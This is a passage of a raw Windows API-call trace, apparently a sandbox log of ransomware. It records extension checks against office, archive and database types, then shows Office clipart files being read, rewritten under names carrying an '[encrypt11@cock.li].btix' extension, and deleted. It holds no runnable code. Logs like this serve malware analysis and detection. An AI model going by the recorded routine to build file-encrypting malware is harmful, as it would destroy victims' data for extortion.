lpString2=".BMP") returned 1 [0151.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP") returned 68 [0151.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP") returned 68 [0151.154] lstrlenW (lpString=".doc") returned 4 [0151.154] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0151.154] lstrlenW (lpString=".docx") returned 5 [0151.154] lstrcmpiW (lpString1=".docx", lpString2="2.BMP") returned -1 [0151.154] lstrlenW (lpString=".pdf") returned 4 [0151.154] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0151.154] lstrlenW (lpString=".xls") returned 4 [0151.154] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0151.154] lstrlenW (lpString=".xlsx") returned 5 [0151.154] lstrcmpiW (lpString1=".xlsx", lpString2="2.BMP") returned -1 [0151.154] lstrlenW (lpString=".ppt") returned 4 [0151.154] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0151.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP") returned 68 [0151.154] lstrlenW (lpString=".zip") returned 4 [0151.154] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0151.154] lstrlenW (lpString=".rar") returned 4 [0151.154] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0151.154] lstrlenW (lpString=".bz2") returned 4 [0151.155] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0151.155] lstrlenW (lpString=".7z") returned 3 [0151.155] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0151.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP") returned 68 [0151.155] lstrlenW (lpString=".dbf") returned 4 [0151.155] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0151.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP") returned 68 [0151.155] lstrlenW (lpString=".1cd") returned 4 [0151.155] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0151.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP") returned 68 [0151.155] lstrlenW (lpString=".jpg") returned 4 [0151.155] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0151.155] lstrcmpiW (lpString1=".BMP", lpString2=".btix") returned -1 [0151.155] lstrlenW (lpString="J0101863.BMP") returned 12 [0151.155] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101863.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0151.155] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x269ff14 | out: lpFileSize=0x269ff14*=32184) returned 1 [0151.155] CloseHandle (hObject=0x38c) returned 1 [0151.155] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101863.bmp")) returned 0x220 [0151.155] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101863.bmp.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0151.156] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101863.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0151.156] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.156] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.156] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101863.bmp.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0151.157] GetLastError () returned 0x0 [0151.157] ReadFile (in: hFile=0x38c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x7db8, lpOverlapped=0x0) returned 1 [0151.158] WriteFile (in: hFile=0x390, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0x7dc0, lpOverlapped=0x0) returned 1 [0151.522] ReadFile (in: hFile=0x38c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x0, lpOverlapped=0x0) returned 1 [0151.522] WriteFile (in: hFile=0x390, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xec, lpOverlapped=0x0) returned 1 [0151.522] SetEndOfFile (hFile=0x390) returned 1 [0151.523] CloseHandle (hObject=0x390) returned 1 [0151.523] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.523] SetEndOfFile (hFile=0x38c) returned 1 [0151.523] CloseHandle (hObject=0x38c) returned 1 [0151.524] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0151.524] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101863.bmp")) returned 1 [0151.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68 [0151.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68 [0151.524] lstrlenW (lpString=".doc") returned 4 [0151.524] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0151.524] lstrlenW (lpString=".docx") returned 5 [0151.524] lstrcmpiW (lpString1=".docx", lpString2="3.BMP") returned -1 [0151.524] lstrlenW (lpString=".pdf") returned 4 [0151.524] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0151.524] lstrlenW (lpString=".xls") returned 4 [0151.524] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0151.524] lstrlenW (lpString=".xlsx") returned 5 [0151.524] lstrcmpiW (lpString1=".xlsx", lpString2="3.BMP") returned -1 [0151.524] lstrlenW (lpString=".ppt") returned 4 [0151.524] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0151.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68 [0151.524] lstrlenW (lpString=".zip") returned 4 [0151.525] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0151.525] lstrlenW (lpString=".rar") returned 4 [0151.525] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0151.525] lstrlenW (lpString=".bz2") returned 4 [0151.525] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0151.525] lstrlenW (lpString=".7z") returned 3 [0151.525] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0151.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68 [0151.525] lstrlenW (lpString=".dbf") returned 4 [0151.525] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0151.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68 [0151.525] lstrlenW (lpString=".1cd") returned 4 [0151.525] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0151.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68 [0151.525] lstrlenW (lpString=".jpg") returned 4 [0151.525] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0151.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68 [0151.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68 [0151.525] lstrlenW (lpString=".doc") returned 4 [0151.525] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0151.525] lstrlenW (lpString=".docx") returned 5 [0151.525] lstrcmpiW (lpString1=".docx", lpString2="3.BMP") returned -1 [0151.525] lstrlenW (lpString=".pdf") returned 4 [0151.525] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0151.525] lstrlenW (lpString=".xls") returned 4 [0151.525] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0151.525] lstrlenW (lpString=".xlsx") returned 5 [0151.525] lstrcmpiW (lpString1=".xlsx", lpString2="3.BMP") returned -1 [0151.525] lstrlenW (lpString=".ppt") returned 4 [0151.525] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0151.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68 [0151.526] lstrlenW (lpString=".zip") returned 4 [0151.526] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0151.526] lstrlenW (lpString=".rar") returned 4 [0151.526] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0151.526] lstrlenW (lpString=".bz2") returned 4 [0151.526] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0151.526] lstrlenW (lpString=".7z") returned 3 [0151.526] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0151.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68 [0151.526] lstrlenW (lpString=".dbf") returned 4 [0151.526] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0151.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68 [0151.526] lstrlenW (lpString=".1cd") returned 4 [0151.526] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0151.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68 [0151.526] lstrlenW (lpString=".jpg") returned 4 [0151.526] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0151.526] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0151.526] lstrlenW (lpString="J0103850.WMF") returned 12 [0151.526] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103850.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0151.526] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x269ff14 | out: lpFileSize=0x269ff14*=23596) returned 1 [0151.526] CloseHandle (hObject=0x38c) returned 1 [0151.527] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103850.wmf")) returned 0x220 [0151.527] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103850.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0151.527] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103850.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0151.527] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.527] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.527] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103850.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0151.527] GetLastError () returned 0x0 [0151.527] ReadFile (in: hFile=0x38c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x5c2c, lpOverlapped=0x0) returned 1 [0151.528] WriteFile (in: hFile=0x390, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0x5c30, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0x5c30, lpOverlapped=0x0) returned 1 [0151.529] ReadFile (in: hFile=0x38c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x0, lpOverlapped=0x0) returned 1 [0151.529] WriteFile (in: hFile=0x390, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xec, lpOverlapped=0x0) returned 1 [0151.530] SetEndOfFile (hFile=0x390) returned 1 [0151.530] CloseHandle (hObject=0x390) returned 1 [0151.530] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.530] SetEndOfFile (hFile=0x38c) returned 1 [0151.531] CloseHandle (hObject=0x38c) returned 1 [0151.531] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0151.531] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103850.wmf")) returned 1 [0151.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68 [0151.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68 [0151.531] lstrlenW (lpString=".doc") returned 4 [0151.531] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.531] lstrlenW (lpString=".docx") returned 5 [0151.531] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0151.531] lstrlenW (lpString=".pdf") returned 4 [0151.531] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.531] lstrlenW (lpString=".xls") returned 4 [0151.531] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.531] lstrlenW (lpString=".xlsx") returned 5 [0151.532] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0151.532] lstrlenW (lpString=".ppt") returned 4 [0151.532] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68 [0151.532] lstrlenW (lpString=".zip") returned 4 [0151.532] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.532] lstrlenW (lpString=".rar") returned 4 [0151.532] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.532] lstrlenW (lpString=".bz2") returned 4 [0151.532] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.532] lstrlenW (lpString=".7z") returned 3 [0151.532] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68 [0151.532] lstrlenW (lpString=".dbf") returned 4 [0151.532] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68 [0151.532] lstrlenW (lpString=".1cd") returned 4 [0151.532] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68 [0151.532] lstrlenW (lpString=".jpg") returned 4 [0151.532] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68 [0151.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68 [0151.532] lstrlenW (lpString=".doc") returned 4 [0151.532] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.532] lstrlenW (lpString=".docx") returned 5 [0151.532] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0151.532] lstrlenW (lpString=".pdf") returned 4 [0151.533] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.533] lstrlenW (lpString=".xls") returned 4 [0151.533] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.533] lstrlenW (lpString=".xlsx") returned 5 [0151.533] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0151.533] lstrlenW (lpString=".ppt") returned 4 [0151.533] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68 [0151.533] lstrlenW (lpString=".zip") returned 4 [0151.533] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.533] lstrlenW (lpString=".rar") returned 4 [0151.533] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.533] lstrlenW (lpString=".bz2") returned 4 [0151.533] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.533] lstrlenW (lpString=".7z") returned 3 [0151.533] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68 [0151.533] lstrlenW (lpString=".dbf") returned 4 [0151.533] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68 [0151.533] lstrlenW (lpString=".1cd") returned 4 [0151.533] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68 [0151.533] lstrlenW (lpString=".jpg") returned 4 [0151.533] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.533] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0151.533] lstrlenW (lpString="J0105230.WMF") returned 12 [0151.534] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105230.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0151.534] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x269ff14 | out: lpFileSize=0x269ff14*=5172) returned 1 [0151.534] CloseHandle (hObject=0x38c) returned 1 [0151.534] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105230.wmf")) returned 0x220 [0151.534] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105230.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0151.534] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105230.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0151.534] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.534] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.534] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105230.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0151.535] GetLastError () returned 0x0 [0151.535] ReadFile (in: hFile=0x38c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x1434, lpOverlapped=0x0) returned 1 [0151.535] WriteFile (in: hFile=0x390, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0x1440, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0x1440, lpOverlapped=0x0) returned 1 [0151.536] ReadFile (in: hFile=0x38c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x0, lpOverlapped=0x0) returned 1 [0151.536] WriteFile (in: hFile=0x390, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xec, lpOverlapped=0x0) returned 1 [0151.536] SetEndOfFile (hFile=0x390) returned 1 [0151.537] CloseHandle (hObject=0x390) returned 1 [0151.537] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.537] SetEndOfFile (hFile=0x38c) returned 1 [0151.537] CloseHandle (hObject=0x38c) returned 1 [0151.537] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0151.541] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105230.wmf")) returned 1 [0151.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF") returned 68 [0151.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF") returned 68 [0151.541] lstrlenW (lpString=".doc") returned 4 [0151.541] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.541] lstrlenW (lpString=".docx") returned 5 [0151.541] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0151.541] lstrlenW (lpString=".pdf") returned 4 [0151.541] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.541] lstrlenW (lpString=".xls") returned 4 [0151.541] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.541] lstrlenW (lpString=".xlsx") returned 5 [0151.541] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0151.541] lstrlenW (lpString=".ppt") returned 4 [0151.541] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF") returned 68 [0151.541] lstrlenW (lpString=".zip") returned 4 [0151.541] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.541] lstrlenW (lpString=".rar") returned 4 [0151.541] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.541] lstrlenW (lpString=".bz2") returned 4 [0151.541] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.542] lstrlenW (lpString=".7z") returned 3 [0151.542] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF") returned 68 [0151.542] lstrlenW (lpString=".dbf") returned 4 [0151.542] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF") returned 68 [0151.542] lstrlenW (lpString=".1cd") returned 4 [0151.542] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF") returned 68 [0151.542] lstrlenW (lpString=".jpg") returned 4 [0151.542] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF") returned 68 [0151.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF") returned 68 [0151.542] lstrlenW (lpString=".doc") returned 4 [0151.542] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.542] lstrlenW (lpString=".docx") returned 5 [0151.542] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0151.542] lstrlenW (lpString=".pdf") returned 4 [0151.542] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.542] lstrlenW (lpString=".xls") 